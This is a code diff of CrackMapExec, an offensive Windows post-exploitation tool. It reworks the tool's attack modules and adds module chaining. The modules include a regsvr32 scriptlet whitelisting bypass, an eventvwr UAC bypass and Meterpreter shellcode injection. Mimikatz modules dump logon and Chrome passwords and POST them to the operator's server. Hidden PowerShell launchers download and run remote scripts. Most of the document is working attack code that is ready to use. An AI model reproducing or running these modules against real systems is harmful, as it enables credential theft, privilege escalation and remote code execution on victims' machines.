command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
||||||
|
|
||||||
elif not force_ps32:
|
elif not force_ps32:
|
||||||
|
if nothidden is True:
|
||||||
|
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
|
||||||
|
else:
|
||||||
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
|
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
|
||||||
|
|
||||||
return command
|
return command
|
||||||
|
|
|
@ -0,0 +1,81 @@
|
||||||
|
import imp
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import cme
|
||||||
|
from logging import getLogger
|
||||||
|
from cme.context import Context
|
||||||
|
from cme.logger import CMEAdapter
|
||||||
|
from cme.cmechainserver import CMEChainServer
|
||||||
|
from cme.moduleloader import ModuleLoader
|
||||||
|
|
||||||
|
class ModuleChainLoader(ModuleLoader):
|
||||||
|
|
||||||
|
def __init__(self, args, db, logger):
|
||||||
|
ModuleLoader.__init__(self, args, db, logger)
|
||||||
|
|
||||||
|
self.chain_list = []
|
||||||
|
|
||||||
|
#This parses the chain command
|
||||||
|
for module in self.args.module_chain.split('=>'):
|
||||||
|
if '[' in module:
|
||||||
|
module_name = module.split('[')[0]
|
||||||
|
module_options = module.split('[')[1][:-1]
|
||||||
|
|
||||||
|
module_dict = {'name': module_name}
|
||||||
|
|
||||||
|
module_dict['options'] = {}
|
||||||
|
for option in module_options.split(';;'):
|
||||||
|
key, value = option.split('=', 1)
|
||||||
|
if value[:1] == ('"' or "'") and value[-1:] == ('"' or "'"):
|
||||||
|
value = value[1:-1]
|
||||||
|
|
||||||
|
module_dict['options'][str(key).upper()] = value
|
||||||
|
|
||||||
|
self.chain_list.append(module_dict)
|
||||||
|
|
||||||
|
else:
|
||||||
|
module_dict = {'name': module}
|
||||||
|
module_dict['options'] = {}
|
||||||
|
|
||||||
|
self.chain_list.append(module_dict)
|
||||||
|
|
||||||
|
def is_module_chain_sane(self):
|
||||||
|
last_module = self.chain_list[-1]['name']
|
||||||
|
|
||||||
|
#Confirm that every chained module (except for the last one) actually supports chaining
|
||||||
|
for module in self.chain_list:
|
||||||
|
if module['name'] == last_module:
|
||||||
|
continue
|
||||||
|
|
||||||
|
module_object = module['object']
|
||||||
|
if getattr(module_object, 'chain_support') is not True:
|
||||||
|
return False
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def init_module_chain(self):
|
||||||
|
modules = self.get_modules()
|
||||||
|
|
||||||
|
#Initialize all modules specified in the chain command and add the objects to chain_list
|
||||||
|
for chained_module in self.chain_list:
|
||||||
|
for module in modules:
|
||||||
|
if module.lower() == chained_module['name'].lower():
|
||||||
|
chained_module['object'] = self.load_module(modules[module]['path'])
|
||||||
|
|
||||||
|
for module in self.chain_list:
|
||||||
|
module_logger = CMEAdapter(getLogger('CME'), {'module': module['name'].upper()})
|
||||||
|
context = Context(self.db, module_logger, self.args)
|
||||||
|
|
||||||
|
if module['object'] != self.chain_list[-1]['object']: module['options']['COMMAND'] = 'dont notice me senpai'
|
||||||
|
getattr(module['object'], 'options')(context, module['options'])
|
||||||
|
|
||||||
|
if self.is_module_chain_sane():
|
||||||
|
server_logger = CMEAdapter(getLogger('CME'), {'module': 'CMESERVER'})
|
||||||
|
context = Context(self.db, server_logger, self.args)
|
||||||
|
|
||||||
|
|
||||||
|
server = CMEChainServer(self.chain_list, context, self.logger, self.args.server_host, self.args.server_port, self.args.server)
|
||||||
|
server.start()
|
||||||
|
return self.chain_list, server
|
||||||
|
|
||||||
|
return None, None
|
|
@ -13,7 +13,6 @@ class ModuleLoader:
|
||||||
self.args = args
|
self.args = args
|
||||||
self.db = db
|
self.db = db
|
||||||
self.logger = logger
|
self.logger = logger
|
||||||
self.server_port = args.server_port
|
|
||||||
self.cme_path = os.path.expanduser('~/.cme')
|
self.cme_path = os.path.expanduser('~/.cme')
|
||||||
|
|
||||||
def module_is_sane(self, module, module_path):
|
def module_is_sane(self, module, module_path):
|
||||||
|
@ -27,10 +26,22 @@ class ModuleLoader:
|
||||||
self.logger.error('{} missing the description variable'.format(module_path))
|
self.logger.error('{} missing the description variable'.format(module_path))
|
||||||
module_error = True
|
module_error = True
|
||||||
|
|
||||||
|
elif not hasattr(module, 'chain_support'):
|
||||||
|
self.logger.error('{} missing the chain_support variable'.format(module_path))
|
||||||
|
module_error = True
|
||||||
|
|
||||||
elif not hasattr(module, 'options'):
|
elif not hasattr(module, 'options'):
|
||||||
self.logger.error('{} missing the options function'.format(module_path))
|
self.logger.error('{} missing the options function'.format(module_path))
|
||||||
module_error = True
|
module_error = True
|
||||||
|
|
||||||
|
elif not hasattr(module, 'launcher'):
|
||||||
|
self.logger.error('{} missing the launcher function'.format(module_path))
|
||||||
|
module_error = True
|
||||||
|
|
||||||
|
elif not hasattr(module, 'payload'):
|
||||||
|
self.logger.error('{} missing the payload function'.format(module_path))
|
||||||
|
module_error = True
|
||||||
|
|
||||||
elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
|
elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
|
||||||
self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path))
|
self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path))
|
||||||
module_error = True
|
module_error = True
|
||||||
|
@ -57,7 +68,7 @@ class ModuleLoader:
|
||||||
module_path = os.path.join(path, module)
|
module_path = os.path.join(path, module)
|
||||||
m = self.load_module(os.path.join(path, module))
|
m = self.load_module(os.path.join(path, module))
|
||||||
if m:
|
if m:
|
||||||
modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__}
|
modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__, 'chain_support': m.chain_support}
|
||||||
|
|
||||||
return modules
|
return modules
|
||||||
|
|
||||||
|
@ -84,12 +95,9 @@ class ModuleLoader:
|
||||||
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
|
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
|
||||||
|
|
||||||
if hasattr(module, 'required_server'):
|
if hasattr(module, 'required_server'):
|
||||||
args.server = getattr(module, 'required_server')
|
self.args.server = getattr(module, 'required_server')
|
||||||
|
|
||||||
if not self.server_port:
|
server = CMEServer(module, context, self.logger, self.args.server_host, self.args.server_port, self.args.server)
|
||||||
self. server_port = self.args.server_port
|
|
||||||
|
|
||||||
server = CMEServer(module, context, self.logger, self.args.server_host, self.server_port, self.args.server)
|
|
||||||
server.start()
|
server.start()
|
||||||
|
|
||||||
return module, context, server
|
return module, context, server
|
|
@ -5,7 +5,7 @@ import os
|
||||||
class CMEModule:
|
class CMEModule:
|
||||||
|
|
||||||
'''
|
'''
|
||||||
Executes a command using a COM scriptlet to bypass whitelisting
|
Executes a command using a COM scriptlet to bypass whitelisting (a.k.a squiblydoo)
|
||||||
|
|
||||||
Based on the awesome research by @subtee
|
Based on the awesome research by @subtee
|
||||||
|
|
||||||
|
@ -13,53 +13,49 @@ class CMEModule:
|
||||||
http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html
|
http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html
|
||||||
'''
|
'''
|
||||||
|
|
||||||
name='com_exec'
|
name='com_exec' #Really tempted just to call this squiblydoo
|
||||||
|
|
||||||
description = 'Executes a command using a COM scriptlet to bypass whitelisting'
|
description = 'Executes a command using a COM scriptlet to bypass whitelisting'
|
||||||
|
|
||||||
required_server='http'
|
required_server='http'
|
||||||
|
|
||||||
|
chain_support = True
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''
|
'''
|
||||||
CMD Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
||||||
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
||||||
'''
|
'''
|
||||||
|
|
||||||
if not 'CMD' in module_options and not 'CMDFILE' in module_options:
|
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
||||||
context.log.error('CMD or CMDFILE options are required!')
|
context.log.error('COMMAND or CMDFILE options are required!')
|
||||||
sys.exit(1)
|
exit(1)
|
||||||
|
|
||||||
if 'CMD' in module_options and 'CMDFILE' in module_options:
|
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
||||||
context.log.error('CMD and CMDFILE are mutually exclusive!')
|
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
||||||
sys.exit(1)
|
exit(1)
|
||||||
|
|
||||||
if 'CMD' in module_options:
|
if 'COMMAND' in module_options:
|
||||||
self.command = module_options['CMD']
|
self.command = module_options['COMMAND']
|
||||||
|
|
||||||
elif 'CMDFILE' in module_options:
|
elif 'CMDFILE' in module_options:
|
||||||
path = os.path.expanduser(module_options['CMDFILE'])
|
path = os.path.expanduser(module_options['CMDFILE'])
|
||||||
|
|
||||||
if not os.path.exists(path):
|
if not os.path.exists(path):
|
||||||
context.log.error('Path to CMDFILE invalid!')
|
context.log.error('Path to CMDFILE invalid!')
|
||||||
sys.exit(1)
|
exit(1)
|
||||||
|
|
||||||
with open(path, 'r') as cmdfile:
|
with open(path, 'r') as cmdfile:
|
||||||
self.command = cmdfile.read().strip()
|
self.command = cmdfile.read().strip()
|
||||||
|
|
||||||
self.sct_name = gen_random_string(5)
|
self.sct_name = gen_random_string(5)
|
||||||
|
|
||||||
def on_admin_login(self, context, connection):
|
def launcher(self, context, command):
|
||||||
|
launcher = 'regsvr32.exe /u /n /s /i:http://{}/{}.sct scrobj.dll'.format(context.localip, self.sct_name)
|
||||||
|
return launcher
|
||||||
|
|
||||||
command = 'regsvr32.exe /u /n /s /i:http://{}/{}.sct scrobj.dll'.format(context.localip, self.sct_name)
|
def payload(self, context, command):
|
||||||
connection.execute(command)
|
payload = '''<?XML version="1.0"?>
|
||||||
context.log.success('Executed command')
|
|
||||||
|
|
||||||
def on_request(self, context, request):
|
|
||||||
if '{}.sct'.format(self.sct_name) in request.path[1:]:
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
com_script = '''<?XML version="1.0"?>
|
|
||||||
<scriptlet>
|
<scriptlet>
|
||||||
<registration
|
<registration
|
||||||
description="Win32COMDebug"
|
description="Win32COMDebug"
|
||||||
|
@ -69,16 +65,29 @@ class CMEModule:
|
||||||
>
|
>
|
||||||
<script language="JScript">
|
<script language="JScript">
|
||||||
<![CDATA[
|
<![CDATA[
|
||||||
var r = new ActiveXObject("WScript.Shell").Run("{}");
|
var r = new ActiveXObject("WScript.Shell").Run('{}');
|
||||||
]]>
|
]]>
|
||||||
</script>
|
</script>
|
||||||
</registration>
|
</registration>
|
||||||
<public>
|
<public>
|
||||||
<method name="Exec"></method>
|
<method name="Exec"></method>
|
||||||
</public>
|
</public>
|
||||||
</scriptlet>'''.format(self.command)
|
</scriptlet>'''.format(command)
|
||||||
|
|
||||||
request.wfile.write(com_script)
|
context.log.debug('Generated payload:\n' + payload)
|
||||||
|
|
||||||
|
return payload
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection, launcher, payload):
|
||||||
|
connection.execute(launcher)
|
||||||
|
context.log.success('Executed squiblydoo')
|
||||||
|
|
||||||
|
def on_request(self, context, request, launcher, payload):
|
||||||
|
if '{}.sct'.format(self.sct_name) in request.path[1:]:
|
||||||
|
request.send_response(200)
|
||||||
|
request.end_headers()
|
||||||
|
|
||||||
|
request.wfile.write(payload)
|
||||||
request.stop_tracking_host()
|
request.stop_tracking_host()
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -16,6 +16,8 @@ class CMEModule:
|
||||||
|
|
||||||
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
|
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
|
||||||
|
|
||||||
|
chain_support = False
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''
|
'''
|
||||||
LISTENER Listener name to generate the launcher for
|
LISTENER Listener name to generate the launcher for
|
||||||
|
@ -54,7 +56,12 @@ class CMEModule:
|
||||||
context.log.error("Unable to connect to Empire's RESTful API: {}".format(e))
|
context.log.error("Unable to connect to Empire's RESTful API: {}".format(e))
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
def on_admin_login(self, context, connection):
|
def launcher(self, context, command):
|
||||||
if self.empire_launcher:
|
return self.empire_launcher
|
||||||
connection.execute(self.empire_launcher)
|
|
||||||
|
def payload(self, context, command):
|
||||||
|
return
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection, launcher, payload):
|
||||||
|
connection.execute(launcher)
|
||||||
context.log.success('Executed Empire Launcher')
|
context.log.success('Executed Empire Launcher')
|
|
@ -1,4 +1,4 @@
|
||||||
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, gen_random_string, validate_ntlm, write_log
|
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
from StringIO import StringIO
|
from StringIO import StringIO
|
||||||
import re
|
import re
|
||||||
|
@ -13,13 +13,14 @@ class CMEModule:
|
||||||
|
|
||||||
description = "Uses Powersploit's Invoke-Mimikatz.ps1 script to decrypt saved Chrome passwords"
|
description = "Uses Powersploit's Invoke-Mimikatz.ps1 script to decrypt saved Chrome passwords"
|
||||||
|
|
||||||
|
chain_support = False
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''
|
'''
|
||||||
'''
|
'''
|
||||||
|
return
|
||||||
|
|
||||||
self.obfs_name = gen_random_string()
|
def launcher(self, context, command):
|
||||||
|
|
||||||
def on_admin_login(self, context, connection):
|
|
||||||
|
|
||||||
'''
|
'''
|
||||||
Oook.. Think my heads going to explode
|
Oook.. Think my heads going to explode
|
||||||
|
@ -30,7 +31,7 @@ class CMEModule:
|
||||||
As far as I can figure out there is no way around this, hence we have to first copy Chrome's database to a path without any spaces and then decrypt the entries with Mimikatz
|
As far as I can figure out there is no way around this, hence we have to first copy Chrome's database to a path without any spaces and then decrypt the entries with Mimikatz
|
||||||
'''
|
'''
|
||||||
|
|
||||||
payload = '''
|
launcher = '''
|
||||||
$cmd = "privilege::debug sekurlsa::dpapi"
|
$cmd = "privilege::debug sekurlsa::dpapi"
|
||||||
$userdirs = get-childitem "$Env:SystemDrive\Users"
|
$userdirs = get-childitem "$Env:SystemDrive\Users"
|
||||||
foreach ($dir in $userdirs) {{
|
foreach ($dir in $userdirs) {{
|
||||||
|
@ -47,7 +48,7 @@ class CMEModule:
|
||||||
$cmd = $cmd + " exit"
|
$cmd = $cmd + " exit"
|
||||||
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
|
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
|
||||||
$creds = Invoke-{func_name} -Command $cmd;
|
$creds = Invoke-Mimikatz -Command $cmd;
|
||||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||||
$request.Method = 'POST';
|
$request.Method = 'POST';
|
||||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||||
|
@ -58,15 +59,19 @@ class CMEModule:
|
||||||
$requestStream.Close();
|
$requestStream.Close();
|
||||||
$request.GetResponse();'''.format(server=context.server,
|
$request.GetResponse();'''.format(server=context.server,
|
||||||
port=context.server_port,
|
port=context.server_port,
|
||||||
addr=context.localip,
|
addr=context.localip)
|
||||||
func_name=self.obfs_name)
|
|
||||||
|
|
||||||
context.log.debug('Payload: {}'.format(payload))
|
return create_ps_command(launcher)
|
||||||
payload = create_ps_command(payload)
|
|
||||||
connection.execute(payload, methods=['atexec', 'smbexec'])
|
|
||||||
context.log.success('Executed payload')
|
|
||||||
|
|
||||||
def on_request(self, context, request):
|
def payload(self, context, command):
|
||||||
|
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
|
||||||
|
return obfs_ps_script(ps_script.read())
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection, launcher, payload):
|
||||||
|
connection.execute(launcher, methods=['atexec', 'smbexec'])
|
||||||
|
context.log.success('Executed launcher')
|
||||||
|
|
||||||
|
def on_request(self, context, request, launcher, payload):
|
||||||
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
|
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
|
||||||
request.send_response(200)
|
request.send_response(200)
|
||||||
request.end_headers()
|
request.end_headers()
|
||||||
|
@ -79,9 +84,7 @@ class CMEModule:
|
||||||
Here we call the updated PowerShell script instead of PowerSploits version
|
Here we call the updated PowerShell script instead of PowerSploits version
|
||||||
'''
|
'''
|
||||||
|
|
||||||
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
|
request.wfile.write(payload)
|
||||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
|
||||||
request.wfile.write(ps_script)
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
request.send_response(404)
|
request.send_response(404)
|
||||||
|
|
|
@ -0,0 +1,76 @@
|
||||||
|
from cme.helpers import create_ps_command, get_ps_script
|
||||||
|
from sys import exit
|
||||||
|
|
||||||
|
class CMEModule:
|
||||||
|
|
||||||
|
'''
|
||||||
|
Executes a command using the the eventvwr.exe fileless UAC bypass
|
||||||
|
Powershell script and vuln discovery by Matt Nelson (@enigma0x3)
|
||||||
|
|
||||||
|
module by @byt3bl33d3r
|
||||||
|
'''
|
||||||
|
|
||||||
|
name = 'eventvwr_bypass'
|
||||||
|
|
||||||
|
description = 'Executes a command using the eventvwr.exe fileless UAC bypass'
|
||||||
|
|
||||||
|
chain_support = True
|
||||||
|
|
||||||
|
def options(self, context, module_options):
|
||||||
|
'''
|
||||||
|
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
||||||
|
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
||||||
|
'''
|
||||||
|
|
||||||
|
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
||||||
|
context.log.error('COMMAND or CMDFILE options are required!')
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
||||||
|
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
if 'COMMAND' in module_options:
|
||||||
|
self.command = module_options['COMMAND']
|
||||||
|
|
||||||
|
elif 'CMDFILE' in module_options:
|
||||||
|
path = os.path.expanduser(module_options['CMDFILE'])
|
||||||
|
|
||||||
|
if not os.path.exists(path):
|
||||||
|
context.log.error('Path to CMDFILE invalid!')
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
with open(path, 'r') as cmdfile:
|
||||||
|
self.command = cmdfile.read().strip()
|
||||||
|
|
||||||
|
def launcher(self, context, command):
|
||||||
|
launcher = '''
|
||||||
|
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-EventVwrBypass.ps1');
|
||||||
|
Invoke-EventVwrBypass -Force -Command "cmd.exe /c {command}";
|
||||||
|
'''.format(server=context.server,
|
||||||
|
addr=context.localip,
|
||||||
|
port=context.server_port,
|
||||||
|
command=command)
|
||||||
|
|
||||||
|
return create_ps_command(launcher)
|
||||||
|
|
||||||
|
def payload(self, context, command):
|
||||||
|
with open(get_ps_script('Invoke-EventVwrBypass.ps1'), 'r') as ps_script:
|
||||||
|
return ps_script.read()
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection, launcher, payload):
|
||||||
|
connection.execute(launcher)
|
||||||
|
context.log.success('Executed launcher')
|
||||||
|
|
||||||
|
def on_request(self, context, request, launcher, payload):
|
||||||
|
if request.path[1:] == 'Invoke-EventVwrBypass.ps1':
|
||||||
|
request.send_response(200)
|
||||||
|
request.end_headers()
|
||||||
|
|
||||||
|
request.wfile.write(payload)
|
||||||
|
|
||||||
|
request.stop_tracking_host()
|
||||||
|
|
||||||
|
else:
|
||||||
|
request.send_response(404)
|
||||||
|
request.end_headers()
|
|
@ -9,19 +9,30 @@ class CMEModule:
|
||||||
|
|
||||||
description = 'Something Something'
|
description = 'Something Something'
|
||||||
|
|
||||||
|
#If the module supports chaining, change this to True
|
||||||
|
chain_support = False
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
|
'''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
def launcher(self, context, command):
|
||||||
|
'''Required. Generate your launcher here'''
|
||||||
|
pass
|
||||||
|
|
||||||
|
def payload(self, context, command):
|
||||||
|
'''Required. Generate your payload here'''
|
||||||
|
pass
|
||||||
|
|
||||||
def on_login(self, context, connection):
|
def on_login(self, context, connection):
|
||||||
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
|
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def on_admin_login(self, context, connection):
|
def on_admin_login(self, context, connection, launcher, payload):
|
||||||
'''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges'''
|
'''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges'''
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def on_request(self, context, request):
|
def on_request(self, context, request, launcher, payload):
|
||||||
'''Optional. If the payload needs to retrieve additonal files, add this function to the module'''
|
'''Optional. If the payload needs to retrieve additonal files, add this function to the module'''
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script
|
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
|
||||||
from sys import exit
|
from sys import exit
|
||||||
|
|
||||||
class CMEModule:
|
class CMEModule:
|
||||||
|
@ -6,10 +6,12 @@ class CMEModule:
|
||||||
Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
|
Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
|
||||||
Module by @byt3bl33d3r
|
Module by @byt3bl33d3r
|
||||||
'''
|
'''
|
||||||
name = 'metinject'
|
name = 'met_inject'
|
||||||
|
|
||||||
description = "Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
|
description = "Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
|
||||||
|
|
||||||
|
chain_support = False
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''
|
'''
|
||||||
LHOST IP hosting the handler
|
LHOST IP hosting the handler
|
||||||
|
@ -35,13 +37,13 @@ class CMEModule:
|
||||||
|
|
||||||
self.lhost = module_options['LHOST']
|
self.lhost = module_options['LHOST']
|
||||||
self.lport = module_options['LPORT']
|
self.lport = module_options['LPORT']
|
||||||
self.obfs_name = gen_random_string()
|
|
||||||
|
|
||||||
def on_admin_login(self, context, connection):
|
def launcher(self, context, command):
|
||||||
|
|
||||||
#PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
|
#PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
|
||||||
#so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode
|
#so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode
|
||||||
|
|
||||||
payload = """
|
launcher = """
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1')
|
IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1')
|
||||||
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}}
|
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}}
|
||||||
$SumTest = $False
|
$SumTest = $False
|
||||||
|
@ -54,30 +56,32 @@ class CMEModule:
|
||||||
$Request = "{}://{}:{}/$($RequestUri)"
|
$Request = "{}://{}:{}/$($RequestUri)"
|
||||||
$WebClient = New-Object System.Net.WebClient
|
$WebClient = New-Object System.Net.WebClient
|
||||||
[Byte[]]$bytes = $WebClient.DownloadData($Request)
|
[Byte[]]$bytes = $WebClient.DownloadData($Request)
|
||||||
Invoke-{} -Force -Shellcode $bytes""".format(context.server,
|
Invoke-Shellcode -Force -Shellcode $bytes""".format(context.server,
|
||||||
context.localip,
|
context.localip,
|
||||||
context.server_port,
|
context.server_port,
|
||||||
'http' if self.met_payload == 'reverse_http' else 'https',
|
'http' if self.met_payload == 'reverse_http' else 'https',
|
||||||
self.lhost,
|
self.lhost,
|
||||||
self.lport,
|
self.lport)
|
||||||
self.obfs_name)
|
|
||||||
|
|
||||||
if self.procid:
|
if self.procid:
|
||||||
payload += " -ProcessID {}".format(self.procid)
|
launcher += " -ProcessID {}".format(self.procid)
|
||||||
|
|
||||||
context.log.debug('Payload:{}'.format(payload))
|
return create_ps_command(launcher, force_ps32=True)
|
||||||
payload = create_ps_command(payload, force_ps32=True)
|
|
||||||
connection.execute(payload)
|
|
||||||
context.log.success('Executed payload')
|
|
||||||
|
|
||||||
def on_request(self, context, request):
|
def payload(self, context, command):
|
||||||
|
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-Shellcode.ps1'), 'r') as ps_script:
|
||||||
|
return obfs_ps_script(ps_script.read())
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection, launcher, payload):
|
||||||
|
connection.execute(launcher)
|
||||||
|
context.log.success('Executed launcher')
|
||||||
|
|
||||||
|
def on_request(self, context, request, launcher, payload):
|
||||||
if 'Invoke-Shellcode.ps1' == request.path[1:]:
|
if 'Invoke-Shellcode.ps1' == request.path[1:]:
|
||||||
request.send_response(200)
|
request.send_response(200)
|
||||||
request.end_headers()
|
request.end_headers()
|
||||||
|
|
||||||
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-Shellcode.ps1'), 'r') as ps_script:
|
request.wfile.write(payload)
|
||||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
|
||||||
request.wfile.write(ps_script)
|
|
||||||
|
|
||||||
request.stop_tracking_host()
|
request.stop_tracking_host()
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, gen_random_string, validate_ntlm, write_log
|
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
import re
|
import re
|
||||||
|
|
||||||
|
@ -12,25 +12,24 @@ class CMEModule:
|
||||||
|
|
||||||
description = "Executes PowerSploit's Invoke-Mimikatz.ps1 script"
|
description = "Executes PowerSploit's Invoke-Mimikatz.ps1 script"
|
||||||
|
|
||||||
|
chain_support = False
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''
|
'''
|
||||||
COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
|
COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
|
||||||
'''
|
'''
|
||||||
|
|
||||||
self.mimikatz_command = 'privilege::debug sekurlsa::logonpasswords exit'
|
self.command = 'privilege::debug sekurlsa::logonpasswords exit'
|
||||||
|
|
||||||
if module_options and 'COMMAND' in module_options:
|
if module_options and 'COMMAND' in module_options:
|
||||||
self.mimikatz_command = module_options['COMMAND']
|
self.command = module_options['COMMAND']
|
||||||
|
|
||||||
#context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command))
|
#context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command))
|
||||||
|
|
||||||
self.obfs_name = gen_random_string()
|
def launcher(self, context, command):
|
||||||
|
launcher = '''
|
||||||
def on_admin_login(self, context, connection):
|
|
||||||
|
|
||||||
payload = '''
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
|
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
|
||||||
$creds = Invoke-{func_name} -Command '{command}';
|
$creds = Invoke-Mimikatz -Command '{command}';
|
||||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||||
$request.Method = 'POST';
|
$request.Method = 'POST';
|
||||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||||
|
@ -42,22 +41,24 @@ class CMEModule:
|
||||||
$request.GetResponse();'''.format(server=context.server,
|
$request.GetResponse();'''.format(server=context.server,
|
||||||
port=context.server_port,
|
port=context.server_port,
|
||||||
addr=context.localip,
|
addr=context.localip,
|
||||||
func_name=self.obfs_name,
|
command=command)
|
||||||
command=self.mimikatz_command)
|
|
||||||
|
|
||||||
context.log.debug('Payload: {}'.format(payload))
|
return create_ps_command(launcher)
|
||||||
payload = create_ps_command(payload)
|
|
||||||
connection.execute(payload)
|
|
||||||
context.log.success('Executed payload')
|
|
||||||
|
